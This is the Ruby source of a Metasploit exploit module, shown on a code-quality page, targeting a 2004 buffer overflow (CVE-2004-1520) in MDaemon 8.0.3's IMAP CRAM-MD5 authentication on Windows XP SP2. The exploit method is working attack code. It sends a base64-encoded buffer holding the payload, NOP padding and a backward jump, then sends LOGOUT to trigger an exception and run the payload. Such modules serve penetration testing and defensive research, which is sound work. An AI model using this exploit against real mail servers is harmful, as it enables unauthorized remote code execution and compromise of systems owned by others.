rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/imap/mdaemon_cram_md5.rb

Summary

Maintainability
A
0 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the CRAM-MD5
        authentication of the MDaemon IMAP service. This
        vulnerability was discovered by Muts.
      },
      'Author'         => [ 'Unknown' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-1520'],
          [ 'OSVDB', '11838'],
          [ 'BID', '11675'],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
        ],
      'DisclosureDate' => '2004-11-12',
      'DefaultTarget' => 0))
  end

  def exploit
    connect

    print_status("Asking for CRAM-MD5 authentication...")
    sock.put("a001 authenticate cram-md5\r\n")
    res = sock.get_once


    print_status("Received CRAM-MD5 answer: #{res.chomp}")
    # Magic no return-address exploitation ninjaness!
    buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
    req = Rex::Text.encode_base64(buf) + "\r\n"
    sock.put(req)
    res = sock.get_once

    print_status("Received authentication reply: #{res.chomp}")
    print_status("Sending LOGOUT to close the thread and trigger an exception")
    sock.put("a002 LOGOUT\r\n")
    res = sock.get_once

    print_status("Received LOGOUT reply: #{res.chomp}")
    select(nil,nil,nil,1)

    handler
    disconnect
  end
end